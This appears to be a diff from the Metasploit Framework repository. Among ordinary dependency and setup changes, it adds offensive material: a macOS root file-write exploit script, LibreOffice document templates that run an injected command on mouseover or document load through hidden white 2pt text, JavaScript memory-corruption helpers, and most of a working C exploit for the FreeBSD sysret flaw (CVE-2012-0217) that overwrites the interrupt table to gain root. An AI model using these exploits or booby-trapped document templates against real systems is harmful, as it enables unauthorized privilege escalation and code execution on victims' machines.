sawyer, 0.8.1, MIT
simplecov, 0.16.1, MIT
rubyzip, 1.2.3, "Simplified BSD"
sawyer, 0.8.2, MIT
simplecov, 0.17.0, MIT
simplecov-html, 0.10.2, MIT
sinatra, 1.4.8, MIT
sqlite3, 1.3.13, "New BSD"
sshkey, 1.9.0, MIT
swagger-blocks, 2.0.2, MIT
thin, 1.7.2, "GPLv2+, Ruby 1.8"
sshkey, 2.0.0, MIT
thor, 0.20.3, MIT
thread_safe, 0.3.6, "Apache 2.0"
tilt, 2.0.9, MIT
timecop, 0.9.1, MIT
ttfunk, 1.5.1, "Nonstandard, GPL-2.0, GPL-3.0"
tzinfo, 1.2.5, MIT
tzinfo-data, 1.2018.9, MIT
warden, 1.2.7, MIT
tzinfo-data, 1.2019.2, MIT
windows_error, 0.1.2, BSD
xdr, 2.0.0, "Apache 2.0"
xmlrpc, 0.3.0, ruby
yard, 0.9.16, MIT
yard, 0.9.20, MIT
Vendored
-1
View File
@@ -31,7 +31,6 @@ Vagrant.configure(2) do |config|
[ "gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3",
"curl -L https://get.rvm.io | bash -s stable",
"source ~/.rvm/scripts/rvm && cd /vagrant && rvm install `cat .ruby-version`",
"source ~/.rvm/scripts/rvm && cd /vagrant && gem install bundler",
"source ~/.rvm/scripts/rvm && cd /vagrant && bundle",
"mkdir -p ~/.msf4",
].each do |step|
+18 -3
View File
@@ -22,11 +22,26 @@ unless ENV['BUNDLE_GEMFILE']
end
end
# Remove bigdecimal warning - start
# https://github.com/ruby/bigdecimal/pull/115
# https://github.com/rapid7/metasploit-framework/pull/11184#issuecomment-461971266
# TODO: remove when upgrading from rails 4.x
require 'bigdecimal'
def BigDecimal.new(*args, **kwargs)
return BigDecimal(*args) if kwargs.empty?
BigDecimal(*args, **kwargs)
end
# Remove bigdecimal warning - end
begin
require 'bundler/setup'
rescue LoadError
$stderr.puts "[*] Metasploit requires the Bundler gem to be installed"
$stderr.puts " $ gem install bundler"
rescue LoadError => e
$stderr.puts "[*] Bundler failed to load and returned this error:"
$stderr.puts
$stderr.puts " '#{e}'"
$stderr.puts
$stderr.puts "[*] You may need to uninstall or upgrade bundler"
exit(1)
end
+3 -3
View File
@@ -27,7 +27,7 @@ def use_old_api():
args = sys.argv
if len(args) != 3:
print "usage: exploit.py source_binary dest_binary_as_root"
print("usage: exploit.py source_binary dest_binary_as_root")
sys.exit(-1)
source_binary = args[1]
@@ -42,7 +42,7 @@ attr = NSMutableDictionary.alloc().init()
attr.setValue_forKey_(04777, NSFilePosixPermissions)
data = NSData.alloc().initWithContentsOfFile_(source_binary)
print "will write file", dest_binary
print("will write file", dest_binary)
if use_old_api():
adm_lib = load_lib("/Admin.framework/Admin")
@@ -68,6 +68,6 @@ else:
tool.createFileWithContents_path_attributes_(data, dest_binary, attr, 0)
print "Done!"
print("Done!")
del pool
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,46 @@
<?xml version="1.0" encoding="UTF-8"?>
<office:document xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" xmlns:style="urn:oasis:names:tc:opendocument:xmlns:style:1.0" xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0" xmlns:table="urn:oasis:names:tc:opendocument:xmlns:table:1.0" xmlns:draw="urn:oasis:names:tc:opendocument:xmlns:drawing:1.0" xmlns:fo="urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:meta="urn:oasis:names:tc:opendocument:xmlns:meta:1.0" xmlns:number="urn:oasis:names:tc:opendocument:xmlns:datastyle:1.0" xmlns:svg="urn:oasis:names:tc:opendocument:xmlns:svg-compatible:1.0" xmlns:chart="urn:oasis:names:tc:opendocument:xmlns:chart:1.0" xmlns:dr3d="urn:oasis:names:tc:opendocument:xmlns:dr3d:1.0" xmlns:math="http://www.w3.org/1998/Math/MathML" xmlns:form="urn:oasis:names:tc:opendocument:xmlns:form:1.0" xmlns:script="urn:oasis:names:tc:opendocument:xmlns:script:1.0" xmlns:config="urn:oasis:names:tc:opendocument:xmlns:config:1.0" xmlns:ooo="http://openoffice.org/2004/office" xmlns:ooow="http://openoffice.org/2004/writer" xmlns:oooc="http://openoffice.org/2004/calc" xmlns:dom="http://www.w3.org/2001/xml-events" xmlns:xforms="http://www.w3.org/2002/xforms" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:rpt="http://openoffice.org/2005/report" xmlns:of="urn:oasis:names:tc:opendocument:xmlns:of:1.2" xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns:grddl="http://www.w3.org/2003/g/data-view#" xmlns:officeooo="http://openoffice.org/2009/office" xmlns:tableooo="http://openoffice.org/2009/table" xmlns:drawooo="http://openoffice.org/2010/draw" xmlns:calcext="urn:org:documentfoundation:names:experimental:calc:xmlns:calcext:1.0" xmlns:loext="urn:org:documentfoundation:names:experimental:office:xmlns:loext:1.0" xmlns:field="urn:openoffice:names:experimental:ooo-ms-interop:xmlns:field:1.0" xmlns:formx="urn:openoffice:names:experimental:ooxml-odf-interop:xmlns:form:1.0" xmlns:css3t="http://www.w3.org/TR/css3-text/" office:version="1.2" office:mimetype="application/vnd.oasis.opendocument.text">
<office:meta><meta:creation-date>2019-01-30T10:53:06.762000000</meta:creation-date><dc:date>2019-01-30T10:53:49.512000000</dc:date><meta:editing-duration>PT44S</meta:editing-duration><meta:editing-cycles>1</meta:editing-cycles><meta:document-statistic meta:table-count="0" meta:image-count="0" meta:object-count="0" meta:page-count="1" meta:paragraph-count="1" meta:word-count="1" meta:character-count="4" meta:non-whitespace-character-count="4"/><meta:generator>LibreOffice/6.1.2.1$Windows_X86_64 LibreOffice_project/65905a128db06ba48db947242809d14d3f9a93fe</meta:generator></office:meta>
<office:scripts>
<office:script script:language="ooo:Basic">
<ooo:libraries xmlns:ooo="http://openoffice.org/2004/office" xmlns:xlink="http://www.w3.org/1999/xlink">
<ooo:library-embedded ooo:name="Standard"/>
</ooo:libraries>
</office:script>
</office:scripts>
<office:styles>
<style:default-style style:family="graphic">
<style:graphic-properties svg:stroke-color="#3465a4" draw:fill-color="#729fcf" fo:wrap-option="no-wrap" draw:shadow-offset-x="0.1181in" draw:shadow-offset-y="0.1181in" draw:start-line-spacing-horizontal="0.1114in" draw:start-line-spacing-vertical="0.1114in" draw:end-line-spacing-horizontal="0.1114in" draw:end-line-spacing-vertical="0.1114in" style:flow-with-text="false"/>
<style:paragraph-properties style:text-autospace="ideograph-alpha" style:line-break="strict" style:font-independent-line-spacing="false">
<style:tab-stops/>
</style:paragraph-properties>
<style:text-properties style:use-window-font-color="true" style:font-name="Liberation Serif" fo:font-size="96pt" fo:language="en" fo:country="US" style:letter-kerning="true" style:font-name-asian="NSimSun" style:font-size-asian="96pt" style:language-asian="zh" style:country-asian="CN" style:font-name-complex="Arial" style:font-size-complex="96pt" style:language-complex="hi" style:country-complex="IN"/>
</style:default-style>
<style:default-style style:family="paragraph">
<style:paragraph-properties fo:orphans="2" fo:widows="2" fo:hyphenation-ladder-count="no-limit" style:text-autospace="ideograph-alpha" style:punctuation-wrap="hanging" style:line-break="strict" style:tab-stop-distance="0.4925in" style:writing-mode="page"/>
<style:text-properties style:use-window-font-color="true" style:font-name="Liberation Serif" fo:font-size="96pt" fo:language="en" fo:country="US" style:letter-kerning="true" style:font-name-asian="NSimSun" style:font-size-asian="96pt" style:language-asian="zh" style:country-asian="CN" style:font-name-complex="Arial" style:font-size-complex="96pt" style:language-complex="hi" style:country-complex="IN" fo:hyphenate="false" fo:hyphenation-remain-char-count="2" fo:hyphenation-push-char-count="2"/>
</style:default-style>
<style:default-style style:family="table">
<style:table-properties table:border-model="collapsing"/>
</style:default-style>
<style:default-style style:family="table-row">
<style:table-row-properties fo:keep-together="auto"/>
</style:default-style>
<style:style style:name="Standard" style:family="paragraph" style:class="text"/>
<style:style style:name="Text_20_body" style:display-name="Text body" style:family="paragraph" style:parent-style-name="Standard" style:class="text">
<style:paragraph-properties fo:margin-top="0in" fo:margin-bottom="0.0972in" loext:contextual-spacing="false" fo:line-height="115%"/>
</style:style>
<style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text">
<style:text-properties fo:color="#ffffff" fo:language="zxx" fo:country="none" style:text-underline-style="solid" style:text-underline-width="auto" style:text-underline-color="font-color" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"/>
</style:style>
</office:styles>
<office:master-styles>
<style:master-page style:name="Standard" style:page-layout-name="pm1"/>
</office:master-styles>
<office:body>
<office:text>
<text:p text:style-name="Standard"><text:a xlink:type="simple" xlink:href="http://<%=text_content%>/" text:style-name="Internet_20_link" text:visited-style-name="Visited_20_Internet_20_Link"><office:event-listeners><script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:<%= path %>$tempfilepager(1, <%= @cmd %>)?language=Python&amp;location=share" xlink:type="simple"/></office:event-listeners><text:span text:style-name="T1"><%= text_content %></text:span></text:a></text:p>
</office:text>
</office:body>
</office:document>
+12
View File
@@ -79,6 +79,18 @@ function Int64(v) {
return '0x' + hexlify(Array.from(bytes).reverse());
};
this.lo = function()
{
var b = this.bytes();
return (b[0] | (b[1] << 8) | (b[2] << 16) | (b[3] << 24)) >>> 0;
};
this.hi = function()
{
var b = this.bytes();
return (b[4] | (b[5] << 8) | (b[6] << 16) | (b[7] << 24)) >>> 0;
};
// Basic arithmetic.
// These functions assign the result of the computation to their 'this' object.
+133
View File
@@ -46,6 +46,139 @@ function hexdump(data) {
return lines.join('\n');
}
function strcmp(b, str)
{
var fn = typeof b == "function" ? b : function(i) { return b[i]; };
for(var i = 0; i < str.length; ++i)
{
if(fn(i) != str.charCodeAt(i))
{
return false;
}
}
return fn(str.length) == 0;
}
function b2u32(b)
{
return (b[0] | (b[1] << 8) | (b[2] << 16) | (b[3] << 24)) >>> 0;
}
function off2addr(segs, off)
{
if(!(off instanceof Int64)) off = new Int64(off);
for(var i = 0; i < segs.length; ++i)
{
var start = segs[i].fileoff;
var end = Add(start, segs[i].size);
if
(
(start.hi() < off.hi() || (start.hi() == off.hi() && start.lo() <= off.lo())) &&
(end.hi() > off.hi() || (end.hi() == off.hi() && end.lo() > off.lo()))
)
{
return Add(segs[i].addr, Sub(off, start));
}
}
return new Int64("0x4141414141414141");
}
function fsyms(mem, base, segs, want, syms)
{
want = Array.from(want); // copy
if(syms === undefined)
{
syms = {};
}
var stab = null;
var ncmds = mem.u32(Add(base, 0x10));
for(var i = 0, off = 0x20; i < ncmds; ++i)
{
var cmd = mem.u32(Add(base, off));
if(cmd == 0x2) // LC_SYMTAB
{
var b = mem.read(Add(base, off + 0x8), 0x10);
stab =
{
symoff: b2u32(b.slice(0x0, 0x4)),
nsyms: b2u32(b.slice(0x4, 0x8)),
stroff: b2u32(b.slice(0x8, 0xc)),
strsize: b2u32(b.slice(0xc, 0x10)),
};
break;
}
off += mem.u32(Add(base, off + 0x4));
}
if(stab == null)
{
fail("stab");
}
var tmp = { base: off2addr(segs, stab.stroff), off: 0 };
var fn = function(i)
{
return mem.read(Add(tmp.base, tmp.off + i), 1)[0];
};
for(var i = 0; i < stab.nsyms && want.length > 0; ++i)
{
tmp.off = mem.u32(off2addr(segs, stab.symoff + i * 0x10));
for(var j = 0; j < want.length; ++j)
{
var s = want[j];
if((strcmp(fn, s)))
{
syms[s] = mem.readInt64(off2addr(segs, stab.symoff + i * 0x10 + 0x8));
want.splice(j, 1);
break;
}
}
}
return syms;
}
function strcmp(b, str)
{
var fn = typeof b == "function" ? b : function(i) { return b[i]; };
for(var i = 0; i < str.length; ++i)
{
if(fn(i) != str.charCodeAt(i))
{
return false;
}
}
return fn(str.length) == 0;
}
function _u32(i)
{
return b2u32(this.read(i, 4));
}
function _read(i, l)
{
if (i instanceof Int64) i = i.lo();
if (l instanceof Int64) l = l.lo();
if (i + l > this.length)
{
fail(`OOB read: ${i} -> ${i + l}, size: ${l}`);
}
return this.slice(i, i + l);
}
function _readInt64(addr)
{
return new Int64(this.read(addr, 8));
}
function _writeInt64(i, val)
{
if (i instanceof Int64) i = i.lo();
this.set(val.bytes(), i);
}
// Simplified version of the similarly named python module.
var Struct = (function() {
// Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+15
View File
@@ -0,0 +1,15 @@
#EXTM3U
#EXT-X-VERSION:3
#EXT-X-TARGETDURATION:4
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:3.433333,
epicsax0.ts
#EXTINF:1.700000,
epicsax1.ts
#EXTINF:1.700000,
epicsax2.ts
#EXTINF:1.700000,
epicsax3.ts
#EXTINF:1.466667,
epicsax4.ts
#EXT-X-ENDLIST
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+42
View File
@@ -0,0 +1,42 @@
<?xml version="1.0" encoding="UTF-8"?>
<office:document xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" xmlns:style="urn:oasis:names:tc:opendocument:xmlns:style:1.0" xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0" xmlns:table="urn:oasis:names:tc:opendocument:xmlns:table:1.0" xmlns:draw="urn:oasis:names:tc:opendocument:xmlns:drawing:1.0" xmlns:fo="urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:meta="urn:oasis:names:tc:opendocument:xmlns:meta:1.0" xmlns:number="urn:oasis:names:tc:opendocument:xmlns:datastyle:1.0" xmlns:svg="urn:oasis:names:tc:opendocument:xmlns:svg-compatible:1.0" xmlns:chart="urn:oasis:names:tc:opendocument:xmlns:chart:1.0" xmlns:dr3d="urn:oasis:names:tc:opendocument:xmlns:dr3d:1.0" xmlns:math="http://www.w3.org/1998/Math/MathML" xmlns:form="urn:oasis:names:tc:opendocument:xmlns:form:1.0" xmlns:script="urn:oasis:names:tc:opendocument:xmlns:script:1.0" xmlns:config="urn:oasis:names:tc:opendocument:xmlns:config:1.0" xmlns:ooo="http://openoffice.org/2004/office" xmlns:ooow="http://openoffice.org/2004/writer" xmlns:oooc="http://openoffice.org/2004/calc" xmlns:dom="http://www.w3.org/2001/xml-events" xmlns:xforms="http://www.w3.org/2002/xforms" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:rpt="http://openoffice.org/2005/report" xmlns:of="urn:oasis:names:tc:opendocument:xmlns:of:1.2" xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns:grddl="http://www.w3.org/2003/g/data-view#" xmlns:officeooo="http://openoffice.org/2009/office" xmlns:tableooo="http://openoffice.org/2009/table" xmlns:drawooo="http://openoffice.org/2010/draw" xmlns:calcext="urn:org:documentfoundation:names:experimental:calc:xmlns:calcext:1.0" xmlns:loext="urn:org:documentfoundation:names:experimental:office:xmlns:loext:1.0" xmlns:field="urn:openoffice:names:experimental:ooo-ms-interop:xmlns:field:1.0" xmlns:formx="urn:openoffice:names:experimental:ooxml-odf-interop:xmlns:form:1.0" xmlns:css3t="http://www.w3.org/TR/css3-text/" office:version="1.2" office:mimetype="application/vnd.oasis.opendocument.text">
<office:settings><config:config-item-set config:name="ooo:configuration-settings"><config:config-item config:name="LoadReadonly" config:type="boolean">true</config:config-item></config:config-item-set></office:settings>
<office:scripts><office:event-listeners><script:event-listener script:language="ooo:script" script:event-name="dom:load" xlink:href="vnd.sun.star.script:LibreLogo|LibreLogo.py$run?language=Python&amp;location=share" xlink:type="simple"/></office:event-listeners></office:scripts>
<office:styles>
<style:default-style style:family="graphic">
<style:graphic-properties svg:stroke-color="#3465a4" draw:fill-color="#729fcf" fo:wrap-option="no-wrap" draw:shadow-offset-x="0.1181in" draw:shadow-offset-y="0.1181in" draw:start-line-spacing-horizontal="0.1114in" draw:start-line-spacing-vertical="0.1114in" draw:end-line-spacing-horizontal="0.1114in" draw:end-line-spacing-vertical="0.1114in" style:flow-with-text="false"/>
<style:paragraph-properties style:text-autospace="ideograph-alpha" style:line-break="strict" style:font-independent-line-spacing="false">
<style:tab-stops/>
</style:paragraph-properties>
<style:text-properties style:use-window-font-color="true" style:font-name="Liberation Serif" fo:font-size="96pt" fo:language="en" fo:country="US" style:letter-kerning="true" style:font-name-asian="NSimSun" style:font-size-asian="96pt" style:language-asian="zh" style:country-asian="CN" style:font-name-complex="Arial" style:font-size-complex="96pt" style:language-complex="hi" style:country-complex="IN"/>
</style:default-style>
<style:default-style style:family="paragraph">
<style:paragraph-properties fo:orphans="2" fo:widows="2" fo:hyphenation-ladder-count="no-limit" style:text-autospace="ideograph-alpha" style:punctuation-wrap="hanging" style:line-break="strict" style:tab-stop-distance="0.4925in" style:writing-mode="page"/>
<style:text-properties style:use-window-font-color="true" style:font-name="Liberation Serif" fo:font-size="96pt" fo:language="en" fo:country="US" style:letter-kerning="true" style:font-name-asian="NSimSun" style:font-size-asian="96pt" style:language-asian="zh" style:country-asian="CN" style:font-name-complex="Arial" style:font-size-complex="96pt" style:language-complex="hi" style:country-complex="IN" fo:hyphenate="false" fo:hyphenation-remain-char-count="2" fo:hyphenation-push-char-count="2"/>
</style:default-style>
<style:default-style style:family="table">
<style:table-properties table:border-model="collapsing"/>
</style:default-style>
<style:default-style style:family="table-row">
<style:table-row-properties fo:keep-together="auto"/>
</style:default-style>
<style:style style:name="Standard" style:family="paragraph" style:class="text" fo:color="#ffffff"/>
<style:style style:name="Text_20_body" style:display-name="Text body" style:family="paragraph" style:parent-style-name="Standard" style:class="text">
<style:paragraph-properties fo:margin-top="0in" fo:margin-bottom="0.0972in" loext:contextual-spacing="false" fo:line-height="20%"/>
</style:style>
<style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text">
<style:text-properties fo:color="#ffffff" fo:language="zxx" fo:country="none" style:text-underline-style="solid" style:text-underline-width="auto" style:text-underline-color="font-color" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"/>
</style:style>
<style:style style:name="P8" style:family="paragraph" style:parent-style-name="Preformatted_20_Text"><style:text-properties fo:color="#ffffff" fo:font-size="2pt" officeooo:rsid="00443c94" officeooo:paragraph-rsid="00443c94" style:font-size-asian="2pt" style:font-size-complex="2pt"/></style:style>
</office:styles>
<office:master-styles>
<style:master-page style:name="Standard" style:page-layout-name="pm1"/>
</office:master-styles>
<office:body>
<office:text>
<text:p text:style-name="P8"><%= @cmd %></text:p>
<text:p text:style-name="Standard">#<%= text_content %></text:p>
</office:text>
</office:body>
</office:document>
+345
View File
@@ -0,0 +1,345 @@
// CVE-2012-0217 Intel sysret exploit -- iZsh (izsh at fail0verflow.com)
// Copyright 2012 all right reserved, not for commercial uses, bitches
// Infringement Punishment: Monkeys coming out of your ass Bruce Almighty style.
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/utsname.h>
#include <machine/cpufunc.h>
#define _WANT_UCRED
#include <sys/proc.h>
#include <machine/segments.h>
#include <sys/param.h>
#include <sys/linker.h>
uintptr_t Xofl_ptr, Xbnd_ptr, Xill_ptr, Xdna_ptr, Xpage_ptr, Xfpu_ptr, Xalign_ptr, Xmchk_ptr, Xxmm_ptr;
struct gate_descriptor * sidt()
{
struct region_descriptor idt;
asm ("sidt %0": "=m"(idt));
return (struct gate_descriptor*)idt.rd_base;
}
u_long get_symaddr(char *symname)
{
struct kld_sym_lookup ksym;
ksym.version = sizeof (ksym);
ksym.symname = symname;
if (kldsym(0, KLDSYM_LOOKUP, &ksym) < 0) {
perror("kldsym");
exit(1);
}
printf(" [+] Resolved %s to %#lx\n", ksym.symname, ksym.symvalue);
return ksym.symvalue;
}
// Code taken from amd64/amd64/machdep.c
void setidt(struct gate_descriptor *idt, int idx, uintptr_t func, int typ, int dpl, int ist)
{
struct gate_descriptor *ip;
ip = idt + idx;
ip->gd_looffset = func;
ip->gd_selector = GSEL(GCODE_SEL, SEL_KPL);
ip->gd_ist = ist;
ip->gd_xx = 0;
ip->gd_type = typ;
ip->gd_dpl = dpl;
ip->gd_p = 1;
ip->gd_hioffset = func>>16;
}
void shellcode()
{
// Actually we dont really need to spawn a shell since we
// changed our whole cred struct.
// Just exit...
printf("[*] Got root!\n");
exit(0);
}
void kernelmodepayload()
{
struct thread *td;
struct ucred *cred;
// We need to restore/recover whatever we smashed
// We inititalized rsp to idt[14] + 10*8, i.e. idt[19] (see trigger())
// The #GP exception frame writes 6*64bit registers, i.e. it overwrites
// idt[18], idt[17] and idt[16]
// thus overall we have:
// - idt[18], idt[17] and idt[16] are trashed
// - tf_addr -> overwrites the 64bit-LSB of idt[15]
// - tf_trapno -> overwrites Target Offset[63:32] of idt[14]
// - rdi -> overwrites the 64bit-LSB of idt[7]
// - #PF exception frame overwrites idt[6], idt[5] and idt[4]
struct gate_descriptor *idt = sidt();
setidt(idt, IDT_OF, Xofl_ptr, SDT_SYSIGT, SEL_KPL, 0); // 4
setidt(idt, IDT_BR, Xbnd_ptr, SDT_SYSIGT, SEL_KPL, 0); // 5
setidt(idt, IDT_UD, Xill_ptr, SDT_SYSIGT, SEL_KPL, 0); // 6
setidt(idt, IDT_NM, Xdna_ptr, SDT_SYSIGT, SEL_KPL, 0); // 7
setidt(idt, IDT_PF, Xpage_ptr, SDT_SYSIGT, SEL_KPL, 0); // 14
setidt(idt, IDT_MF, Xfpu_ptr, SDT_SYSIGT, SEL_KPL, 0); // 15
setidt(idt, IDT_AC, Xalign_ptr, SDT_SYSIGT, SEL_KPL, 0); // 16
setidt(idt, IDT_MC, Xmchk_ptr, SDT_SYSIGT, SEL_KPL, 0); // 17
setidt(idt, IDT_XF, Xxmm_ptr, SDT_SYSIGT, SEL_KPL, 0); // 18
// get the thread pointer
asm ("mov %%gs:0, %0" : "=r"(td));
// The Dark Knight Rises
cred = td->td_proc->p_ucred;
cred->cr_uid = cred->cr_ruid = cred->cr_rgid = 0;
cred->cr_groups[0] = 0;
// return to user mode to spawn the shell
asm ("swapgs; sysretq;" :: "c"(shellcode)); // store the shellcode addr to rcx
}
#define TRIGGERCODESIZE 20
#define TRAMPOLINECODESIZE 18
void trigger()
{
printf("[*] Setup...\n");
// Allocate one page just before the non-canonical address
printf(" [+] Trigger code...\n");
uint64_t pagesize = getpagesize();
uint8_t * area = (uint8_t*)((1ULL << 47) - pagesize);
area = mmap(area, pagesize,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0);
if (area == MAP_FAILED) {
perror("mmap (trigger)");
exit(1);
}
// Copy the trigger code at the end of the page
// such that the syscall instruction is at its
// boundary
char triggercode[] =
"\xb8\x18\x00\x00\x00" // mov rax, 24; #getuid
"\x48\x89\xe3" // mov rbx, rsp; save the user's stack for later
"\x48\xbc\xbe\xba\xfe\xca\xde\xc0\xad\xde" // mov rsp, 0xdeadc0decafebabe
"\x0f\x05"; // syscall
uint8_t * trigger_addr = area + pagesize - TRIGGERCODESIZE;
memcpy(trigger_addr, triggercode, TRIGGERCODESIZE);
// There are two outcomes given a target rsp:
// - if rsp can't be written to, a double fault is triggered
// (Xdblfault defined in sys/amd64/amd64/exception.S)
// and the exception frame is pushed to a special stack
// - otherwise a #GP is triggered
// (Xprot defined in sys/amd64/amd64/exception.S)
// and the exception frame is pushed to [rsp]
//
// In the latter case, trouble is... #GP triggers a page fault
// (Xpage):
// IDTVEC(prot)
// subq $TF_ERR,%rsp
// [1] movl $T_PROTFLT,TF_TRAPNO(%rsp)
// [2] movq $0,TF_ADDR(%rsp)
// [3] movq %rdi,TF_RDI(%rsp) /* free up a GP register */
// leaq doreti_iret(%rip),%rdi
// cmpq %rdi,TF_RIP(%rsp)
// je 1f /* kernel but with user gsbase!! */
// [4] testb $SEL_RPL_MASK,TF_CS(%rsp) /* Did we come from kernel? */
// jz 2f /* already running with kernel GS.base */
// 1: swapgs
// 2: movq PCPU(CURPCB),%rdi [5]
//
// [4] sets the Z flag because we come from the kernel (while executing sysret)
// and we therefore skip swapgs. But GS is in fact the user GS.base! Indeed
// it was restored just before calling sysret...
// Thus, [5] triggers a pagefault while trying to access gs:data
// If we don't do anything we'll eventually doublefault, tripplefault etc. and crash
//
// We therefore need a way: (1) to recover from the GP, (2) to clean
// any mess we did. Both could be solved if we can get get an arbitrary
// code execution by the time we reach [5] (NB: this is not mandatory, we could
// get the code execution later down the fault trigger chain)
//
// So... here is the idea: wouldn't it be nice if we could overwrite the
// page fault handler's address and therefore get code execution when [5]
// triggers the #PF?
//
// For reference:
// Gate descriptor:
// +0: Target Offset[15:0] | Target Selector
// +4: Some stuff | Target Offset[31:16]
// +8: Target Offset[63:32]
// +12: Stuff
//
// and from include/frame.h:
// struct trapframe {
// register_t tf_rdi;
// register_t tf_rsi;
// register_t tf_rdx;
// register_t tf_rcx;
// register_t tf_r8;
// register_t tf_r9;
// register_t tf_rax;
// register_t tf_rbx;
// register_t tf_rbp;
// register_t tf_r10;
// register_t tf_r11;
// register_t tf_r12;
// register_t tf_r13;
// register_t tf_r14;
// register_t tf_r15;
// uint32_t tf_trapno;
// uint16_t tf_fs;
// uint16_t tf_gs;
// register_t tf_addr;
// uint32_t tf_flags;
// uint16_t tf_es;
// uint16_t tf_ds;
// /* below portion defined in hardware */
// register_t tf_err;
// register_t tf_rip;
// register_t tf_cs;
// register_t tf_rflags;
// register_t tf_rsp;
// register_t tf_ss;
// };
//
// When the exception is triggered, the hardware pushes
// ss, rsp, rflags, cs, rip and err
//
// We can see that [1], [2] and [3] write to the stack
// [3] is fully user-controlled through rdi, so we could try to align
// rsp such that [3] overwrites the offset address
//
// The trouble is... rsp is 16byte aligned for exceptions. We can
// therefore only overwrite the first 32-LSB of the offset address
// (check how rdi is 16byte aligned in this trapframe)
//
// [2] writes 0 to tf_addr which is also 16byte aligned. So no dice.
// That leaves us with [1] which writes T_PROTFLT (0x9) to tf_trapno
// and tf_trapno is 16byte aligned + 8!
// This enables us to set Target Offset[63:32] to 0x9
//
// We set rsp to &idt[14] + 10 * 8 (to align tf_trapno with Offset[63:32])
*(uint64_t*)(trigger_addr + 10) = (uint64_t)(((uint8_t*)&sidt()[14]) + 10 * 8);
// Hence, the #PF handler's address is now 0x9WWXXYYZZ
// Furthermore, WWXXYYZZ is known since we can get (see get_symaddr()) the #PF's address
// Thus, the idea is to setup a trampoline code at 0x9WWXXYYZZ which does
// some setup and jump to our kernel mode code
printf(" [+] Trampoline code...\n");
char trampolinecode[] =
"\x0f\x01\xf8" // swapgs; switch back to the kernel's GS.base
"\x48\x89\xdc" // mov rsp, rbx; restore rsp, it's enough to use the user's stack
"\x48\xb8\xbe\xba\xfe\xca\xde\xc0\xad\xde" // mov rax, 0xdeadc0decafebabe
"\xff\xe0"; // jmp rax
uint8_t * trampoline = (uint8_t*)(0x900000000 | (Xpage_ptr & 0xFFFFFFFF));
size_t trampoline_allocsize = pagesize;
// We round the address to the PAGESIZE for the allocation
// Not enough space for the trampoline code ?
if ((uint8_t*)((uint64_t)trampoline & ~(pagesize-1)) + pagesize < trampoline + TRAMPOLINECODESIZE)
trampoline_allocsize += pagesize;
if (mmap((void*)((uint64_t)trampoline & ~(pagesize-1)), trampoline_allocsize,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0) == MAP_FAILED)
{
perror("mmap (trampoline)");
exit(1);
}
memcpy(trampoline, trampolinecode, TRAMPOLINECODESIZE);
*(uint64_t*)(trampoline + 8) = (uint64_t)kernelmodepayload;
// Call it
printf("[*] Fire in the hole!\n");
((void (*)())trigger_addr)();
}
typedef struct validtarget
{
char * sysname;
char * release;
char * machine;
} validtarget_t;
int validate_target(char * sysname, char * release, char * machine)
{
validtarget_t targets[] = {
{ "FreeBSD", "8.3-RELEASE", "amd64" },
{ "FreeBSD", "9.0-RELEASE", "amd64" },
{ 0, 0, 0 }
};
int found = 0;
int i = 0;
while (!found && targets[i].sysname) {
found = !strcmp(targets[i].sysname, sysname)
&& !strcmp(targets[i].release, release)
&& !strcmp(targets[i].machine, machine);
++i;
}
return found;
}
void get_cpu_vendor(char * cpu_vendor)
{
u_int regs[4];
do_cpuid(0, regs);
((u_int *)cpu_vendor)[0] = regs[1];
((u_int *)cpu_vendor)[1] = regs[3];
((u_int *)cpu_vendor)[2] = regs[2];
cpu_vendor[12] = '\0';
}
int is_intel()
{
char cpu_vendor[13];
get_cpu_vendor(cpu_vendor);
return !strcmp(cpu_vendor, "GenuineIntel");
}
int main(int argc, char *argv[])
{
printf("CVE-2012-0217 Intel sysret exploit -- iZsh (izsh at fail0verflow.com)\n\n");
printf("[*] Retrieving host information...\n");
char cpu_vendor[13];
get_cpu_vendor(cpu_vendor);
struct utsname ver;
uname(&ver);
printf(" [+] CPU: %s\n", cpu_vendor);
printf(" [+] sysname: %s\n", ver.sysname);
printf(" [+] release: %s\n", ver.release);
printf(" [+] version: %s\n", ver.version);
printf(" [+] machine: %s\n", ver.machine);
printf("[*] Validating target OS and version...\n");
if (!is_intel() || !validate_target(ver.sysname, ver.release, ver.machine)) {
printf(" [+] NOT Vulnerable :-(\n");
exit(1);
} else
printf(" [+] Vulnerable :-)\n");
// Prepare the values we'll need to restore the kernel to a stable state
